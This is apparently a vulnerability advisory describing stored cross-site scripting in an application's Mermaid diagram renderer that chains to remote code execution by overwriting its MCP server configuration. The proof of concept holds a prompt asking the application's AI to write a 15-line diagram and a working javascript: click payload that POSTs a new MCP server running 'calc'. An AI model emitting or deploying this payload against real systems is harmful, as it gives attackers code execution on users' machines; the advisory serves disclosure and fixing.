Summary

A critical Stored Cross-Site Scripting (XSS) vulnerability exists in the Mermaid diagram rendering component. The application allows the execution of arbitrary JavaScript via javascript:. An attacker can exploit this to inject a malicious Model Context Protocol (MCP) server configuration, leading to Remote Code Execution (RCE) on the victim's machine when the node is clicked.

Details

The vulnerability is caused by the insecure configuration of the Mermaid library, specifically securityLevel: 'loose', which permits the use of javascript: protocols in interaction definitions.

XSS Vector: The application renders Mermaid diagrams with a configuration that allows click events to trigger javascript: URIs.
Privilege Escalation: The injected JavaScript payload utilizes the application's internal API proxy (via fetch) to communicate with the backend configuration endpoint (/api/config/mcpserver).
RCE Sink: The payload sends a POST request to overwrite the MCP server configuration, registering a new server with a malicious command (e.g., calc). This command is subsequently executed by the backend service.

PoC

Please write a mermaid graph that is exactly 15 lines long. 
It should have a node that, when clicked, add a MCP server configuration.
The code should look like this:


```mermaid
graph TD
A[Click me]
B[Node B]
C[Node C]
D[Node D]
E[Node E]
F[Node F]
G[Node G]
H[Node H]
I[Node I]
J[Node J]
K[Node K]
L[Node L]
M[Node M]
N[Node N]
click A "javascript:fetch('/api/config/mcpserver',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({mcpServers:{test:{transport:'stdio',command:'calc'}}})})"
```

This vulnerability is similar to CVE-2025-58768(GHSA-f7q5-vc93-wp6j)
